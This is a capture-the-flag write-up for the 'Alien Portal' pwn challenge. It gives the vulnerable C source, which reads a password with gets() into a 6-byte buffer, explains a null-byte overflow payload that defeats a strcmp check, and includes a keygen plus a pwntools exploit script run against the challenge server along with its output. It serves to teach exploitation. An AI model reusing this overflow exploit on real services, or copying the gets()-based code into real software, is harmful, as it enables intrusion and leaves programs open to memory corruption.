This challenge was initially supposed to be a stack overflow, in order to overwrite the result of a strcmp, followed by a key-gen bypass via static bruteforce - you can see it as an upgraded login.
Since the CTF is over, here's the source code.
vuln.c
#include <stdio.h>
#include <string.h>
int encrypt_key(char *key)
{
int key_length = strlen(key);
int key_sum = 0;
for (int i = 0; i < key_length; i++) {
key_sum += key[i];
}
return key_sum * key_length;
}
void two_fa() {
printf("\nSorry, ever since our flag got leaked. We have to do a second layer of checks now. \nPlease enter your personalized authentication code: ");
char key[16];
scanf("%15s", key);
if (1804 == encrypt_key(key)) {
FILE *fp = fopen("flag.txt", "r");
if (fp == NULL) {
printf("Error: failed to open flag file\n");
return;
}
char flag[64];
fgets(flag, 64, fp);
printf("Congratulations! Here is your flag: %s", flag);
fclose(fp);
} else {
printf("Wrong key!\n");
}
}
int main()
{
FILE *fp = fopen("flag.txt", "r");
if (fp == NULL) {
printf("Error: failed to open flag file\n");
return 1;
}
char flag[64];
fgets(flag, 64, fp);
fclose(fp);
int authorization = 0;
char secret[6];
printf("Welcome to the alien portal!\n");
printf("What is your password?: ");
gets(secret);
if(strcmp(secret, flag) == 0) {
authorization = 1;
}
if(authorization == 1) {
two_fa();
} else {
printf("Intruder Alert!\n");
return 0;
}
}
The following parts of the writeup take heavy inspiration from my friend @duckupus. His writeup can be found on his github here.
The binary has been compiled in 32-bit ELF format, for Intel architecture with dynamic linking. Those using 64-bit architecture may have to install multiarch-support to run it, refer to this.
Checksec output shows us:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Important note, stack protections have been disabled; this means that the compiled binary doesn't have any stack canaries- stack-based overflow!
The first part of the challenge is bypassing the strcmp that happens between local_5e and local_58 .
Feel free to reassign the variable names to whatever you want, for this writeup we will just be assigning:
local_5e= input (entry-point)
local_58 = flag (inaccessible)
The entry point is the vulnerable "gets" function that is called to read local_5e or the "input".
strcmp()
Here comes the elegance, the intended solution was an overflow at the gets function to overwrite iVar2 and set it to 0x1, however a more efficient solution was discovered by exploiting the strcmp function.
string.c
int strcmp(const char *cs, const char *ct)
{
unsigned char c1, c2;
while (1) {
c1 = *cs++;
c2 = *ct++;
if (c1 != c2)
return c1 < c2 ? -1 : 1;
if (!c1)
break;
}
return 0;
}
strcmp() takes in 2 string inputs, 'cs' and 'ct', and loops through each character in the string to compare them.
However, to know when to stop comparing, strcmp() looks for a terminating NULL byte in both strings.
In this case, the input to the program is limited to only 6 characters before it overflows to the 'flag'or local_58 variable, by changing the flag variable to hold our own input, we can include a NULL byte to trick strcmp() into returning a 0- effectively bypassing the strcmp.
The current payload with strcmp() bypass.
payload = b'A'*5 + b'\x00' + b'A'*5 + b'\x00';
With accordance to the payload, strcmp() will compare 5 bytes of b'A' with another 5 bytes of b'A' and then a terminating NULL byte will be hit, and the rest of each string will not be compared.
two_fa()
After you get past the inital strcmp() check, you will be returned to another function: two_fa().
The function receives an input for a key, which is then passed into the encrypt_key() function, the result of this function is checked against 0x70c where, the flag would be printed.
encrypt_key()
Seems simple enough, it just loops over the values of the key and sums the ASCII value of the letter.
keygen.py
import random
import sys
def encrypt_key(key):
length_key = len(key)
sum_key = 0
for letter in key:
sum_key += ord(letter)
return sum_key * length_key
while 1:
key = ""
for i in range(4):
key += random.choice("abcdefghijklmnopqrstuvwxyz")
if(encrypt_key(key) == 1804):
print(key)
sys.exit(1)
Here's the exploit- it's a mashup of my own exploit.py and the funny script that @duckupus made.
from pwn import *
def encrypt_key(key):
length_key = len(key)
sum_key = 0
for letter in key:
sum_key += ord(letter)
return sum_key * length_key
def generate_key():
while 1:
key = ""
for i in range(4):
key += random.choice("abcdefghijklmnopqrstuvwxyz")
if(encrypt_key(key) == 1804):
return key
io = remote("nc.lagncra.sh", 8011)
payload = b'A'*5 + b'\x00' + b'A'*5 + b'\x00';
answer = generate_key()
out = io.recvline(timeout=5)
io.recvuntil('What is your password?: ')
io.sendline(payload)
io.recvuntil('Please enter your personalized authentication code: ')
io.sendline(answer)
io.interactive()
ββ$ python3 exp.py
[+] Opening connection to nc.lagncra.sh on port 8011: Done
b'Welcome to the alien portal!\r\n'
b'AAAAA\x00AAAAA\x00'
/mnt/d/CTFs/lnc/3.0/pwn/Alien Portal/exp.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil('What is your password?: ')
b'}L}}\x00'
/mnt/d/CTFs/lnc/3.0/pwn/Alien Portal/exp.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
io.recvuntil('Please enter your personalized authentication code: ')
[*] Switching to interactive mode
Congratulations! Here is your flag: LNC2023{SecreT_Al13n_por7a1?}[*] Got EOF while reading in interactive
$